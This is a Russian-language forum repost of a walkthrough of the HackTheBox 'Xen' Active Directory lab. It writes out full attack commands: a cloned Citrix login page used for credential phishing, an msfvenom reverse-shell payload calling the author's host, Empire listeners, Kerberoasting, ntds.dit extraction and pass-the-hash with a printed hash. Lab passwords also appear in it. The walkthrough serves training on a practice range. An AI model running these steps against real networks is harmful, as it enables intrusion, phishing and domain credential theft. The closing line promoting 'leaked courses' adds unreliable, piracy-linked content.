НОВОСТИ HackTheBox endgame. Прохождение лаборатории Xen. Пентест Active Directory

Alvaros
Онлайн
Регистрация
14.05.16
Сообщения
21.452
Реакции
101
Репутация
204
-grq3z8cvxjlhbkdm-hjxkdwcqc.png


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки .

Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.

Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно .

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 6 машин, и содержит 6 флагов.

qi7mjdxucpxhje-cia76n_y_uio.png


Так же дается описание и адрес доступного хоста.

ksh6wls_-pv2e2rmk0xbg_cc-x4.png


Начнем!

Breach flag


Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500

38-exn8blvfxcaqrpue5ekc_hwk.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A xen.htb -p25,80,443

28b1pr7-okzchmg-ci1ggbaxpow.png


Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб — нас встречают простеньким сайтом.

upinccvylfqvhode8at6xivs-ny.png


Ничего интересного нет, за исключением ссылки “Join the team”, указывающей нам адрес электронный почты [email protected].

1ln2k_xo-b0vaxpdi1dhl2g2tqa.png


Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx

0wrpetqsiwo1s2ylorprhhgugce.png


И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.

xodu8eovut5bbieahdwnatbyqqg.png


Принимаем, и у нас требуют учетные данные.

5ve01wb7xkwxjghn9laebsvcsxm.png


Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.

smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb

6xvmnfxy7zrbwymwuy53mtsjub4.png


Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).

Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.

ki_gd3wwmdo9rn2ywyixxrzlpdw.png


И добавим Submit для отправки данных.

adzfbxlqlhef4csitqunfnqmxks.png


Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.

jttdomb7-i7rlqdhj4uasj9a8le.png


uf-7ud36kzhbi3qvwd9yjlap2sw.png


Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.

nfkfq6zng1tkm8owwsztsoyisfq.png


Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.

dexwdpkgpo_oqb4ca2vczmwwqzi.png


Таким образом собираем все учетки.

asowxdq9r7mltqwhny2jatoh8ky.png


И теперь заходим на remote.

mvoqv2pe00qndtibx9aeprwh-uq.png


И нам предлагаю сохранить ICA файл.

ydkea3fwsacwjzdcfe6qptwo1ra.png


Далее я установил расширение для Chromium.

ufncb4a2m0qdb2czjakbke5i9v4.png


И подключился как pmorgan (VDESKTOP3).

o8kegx9kxnfiyskutyymimonhwo.png


a4gb1of_eannxkf2gdhb-ra4cg8.png


Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.

1zvsigpck-o1os7hmzs70jecape.png


И сдаем его.

ywii9nxpta3h-scvghrdis9gpow.png


И сохраним собранную информацию.

asowxdq9r7mltqwhny2jatoh8ky.png


Deploy flag


Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe

l6cwfpozbfayv9egysl_lshdw-o.png


Теперь запустим листенер metasploit.

handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp

afrgxhmdhrqsctrusvic-hftrqy.png


Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.

gk95hlyj70r7tqijdrcc3cdpi9g.png


hpcsg-39centm7wanbtccngaqa0.png


Теперь перечислим все эксплоиты для LPE.

ai_lnjg4to9h_7u5uf4yl706fjw.png


И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.

7tbtqeoikcykli7ck9tategndxk.png


И используем эксплоит.

3xozpavk13cms-vl_yhxwy7a0rk.png


Открывается вторая сессия в контексте SYSTEM.

cgqiuh4chvqmax4smhxkopyae34.png


Давайте проверим флаг.

lqrn4m6ruh6a29ufxfmffi8xjvw.png


И забираем его.

2m_gctbxaccolc792cmxvfb5bgi.png


tyfyyv-vw0yeo5eid8_gy4fwr4i.png


Вот так легко сдаем еще один флаг. Идем далее.

Ghost flag


Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал ). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.

> listeners
> uselistener http
> set Host 10.14.14.9
> set Port 5656
> execute
> back
> launcher powershell http

nwh8k_g7pvp4d25k6mcm_g5ase0.png


Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.

xehf0mmdd6b0-hmnfbbqivm45p0.png


И выполним powershell_import.

-fnwvvmgxgd2stpsoceiizkfxhu.png


В окне Empire обнаружим созданный агент.

f2cm7mexe3pdgwtdgc_mghacli0.png


Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.

nevjoh8xwwovniicwob5gp6k-6u.png


hjucn3yy2uihhkibe99yoamwpfi.png


Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.

> usemodule situational_awareness/network/powerview/get_domain_controller
> run


pfxe61ftwboyhaqczuzu16huiho.png


Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties samaccountname,admincount
> run

epbm8n-0pxbqjkx8ugmru5mx84q.png


Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties serviceprincipalname
> run

24tuqtogjlqw_wyj_wtkmirvjjq.png


И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода — hashcat.

> usemodule credentials/invoke_kerberoast
> set OutputFormat Hashcat
> run

fcrtn3wmff8er48hsi4ck4epipe.png


И получаем хеш пользователя. Теперь переберем с помощью hashcat.

hashcat -m 13100 -a 0 krb.hash rockyou.txt --force

В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант — воспользоваться .

jxzhkxufm6pnpkkqjbqpe-fmj-k.png


Как представлено в репозитории, dive — лучший вариант, поэтому используем его вторую версию.

hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2

8tm8yyoriogouhedrvjvixunnc4.png


И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.

> usemodule situational_awareness/network/arpscan
> set Range 172.16.249.0-172.16.249.255
> run

7fvhqd_c2vdhwqryakt7yi7kaxu.png


Так… Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.

> usemodule situational_awareness/network/powerview/share_finder
> set Server DC.htb.local
> run

rsp36dpdijzbbrioueihsptddj0.png


С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.

curkm01lzbyve769e7kdt7jjao4.png


Ниже представлена аккумулируемая нами информация.

sdzd8z_kll5ijcesm_asfi6xqse.png


Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).

run autoroute -s 172.16.249.0/24

tntu9y40tdn28avzmqtgl3o0ffw.png


Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.

-v_j0bfvhwes3e1slvn42fwceqi.png


А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).

cy_5ohot9iirrdzik2qssk8hj4a.png


И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.

proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null

qvnroleugjrgp-i5izk_ovbpdps.png


Давайте посмотрим все, что нам доступно на этом ресурсе.

proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null

mjg3-n6art569eklzc6dsoqx_fy.png


И мы находим флаг, а также ppk файл. Давайте получим все файлы.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!

bis2hwyvpobzvdkqykpbac_wfz0.png


При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null

vnyibhq9ui9jd9-smv92jserdqg.png


И сдадим флаг.

zyo3uyt0kbvkkijgwr_vdwnaa5i.png


jsy2ppljrcwqjfvit23y4pzisig.png


Camouflage flag


Давайте разберемся с приватным ключем Putty.

u9kgz-0fzwj3uftpn1yjzumc5qa.png


Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.

ui-yrwxnm9mh_b-_p7ae2lbkbtc.png


Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации “удобно набираемых” паролей — . Давайте создадим словарь.

./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route


xemzj0okpereyu2ubrjiz7u7esi.png


И мы успешно нашли 16-символьный пароль.

john --wordlist=./kwprocessor/key-dict.txt putty.john

0v08p94zn_xex3wgqvqh55ahqyy.png


Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.

sudo apt install putty-tools
puttygen private.ppk -O private-openssh -o id_rsa

Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.

proxychains nmap -p22 172.16.249.200-205 2>/dev/null

fqda78yhbo1nuezb5_txvnxvigg.png


И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.

sfgpqst6ffsugdv0biquhni5fea.png


Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.

sdwiy0egqd4zgm4fagjeyizfmv4.png


Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.

yv9eovdujflhzyyf9q-hsg7uphw.png


Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.

v2e6v-zekaxpfyu5pvagxkayeta.png


Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.

mhcpha-tvjml8kvelevudpehacs.png


u4rgziapmiadlxkt9v-cnydmizo.png


И с данным логин мы успешно подключаем по SSH.

u2kl5b92xjdgz1gfigbyvb8jgfs.png


Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.

tcpdump -s0 -w r.pcap

ur9ppf0umalf7govd7ao_jjzc-q.png


Теперь скачаем данный файл.

proxychains scp -i id_rsa [email protected]:/root/r.pcap ./

И для быстрого поиска учетных данных используем .

0clqyngcfi_fxwg1onbheg9t6au.png


И получаем еще флаг.

ubwsmxhyscpsrfy7jumcjf689la.png


Doppelganger flag


Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequest’ы двух пользователей, в которых есть пароль (один мы уже нашли).

ilad7_p_f-rbgwdrpglcejkbh74.png


_6w_al3oddm4ikipiqi3ishgado.png


Проверим этот пароль для данного пользователя.

proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null

n_7xr4urfsbuwry9m258zxmiczy.png


Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.

proxychains msfconsole 2>/dev/null
> use auxiliary/scanner/smb/smb_login
> set SMBDomain htb.local
> set RHOSTS 172.16.249.200
> set USER_FILE ~/tmp/users.txt
> set PASS_FILE ~/tmp/passwords.txt
> set VERBOSE false
> run

8ld5gjri_mmvptxg1-cdlzc9f1e.png


И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.

proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null

pzcw5asa6eqyodh4sfwa6vc9_ys.png


Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.

proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null

lqnxrg12wpdnbcsr9fuapynu38u.png


И забираем еще один флаг.

5ceuxxnpsuj3orc_35qazfwnkq0.png


Owned flag


Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.

whoami /all

in4ia6lepmr0u2_voqct6h-qjw8.png


Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.

proxychains remmina

1bbvosxjg1jb6y7acri98kmj47k.png


soec79bjwbiktiqfc9udby8v4g0.png


И нас встречает окно командной строки.

xloxkreweosxvmhp56wiy4v4hms.png


Войдем в контекст diskshadow.

nwuhub-n7hnrfsm9q505cyrvrt4.png


И создадим копию — диск Z.

set context persistence nowriters
add volume c: alias sss
create
expose %sss% z:

owhvxxddfioicyx-kn1frars-hs.png


Проверим, и увидим копию файла ntds.dit.

hpvoeilgbsxim5ljt3nxflbmo6w.png


Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.

reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak

nz_z16rrzirc0l4udjlgvny5zvm.png


Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем . Для начала загружаем на хост обе DLL.

z9jbd1lsunkcyd3uon6v8yl3skw.png


И загружаем в память.

9qgkcjotiqguv2rhtjbci6ey1-0.png


Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.

Set-SeBackupPrivilege
Whoami /priv | findstr Backup

uubtgtsp7zzfuvc9jyi-371bte8.png


Отлично, теперь копируем файл.

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit

А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов… Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.

secretsdump.py -ntds ndts.dit -system system.bak LOCAL

pkjcvt3bnlmlqet3kcbewyy72ks.png


И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.

tzc8wpvaac_btlyw3sq5mie2b1y.png


-_mqjjz_ybfor9th1np8b6liibs.png


А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.

proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be [email protected] 2>/dev/null

bay_sddavamcgwmwy2hj-i819eg.png


Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу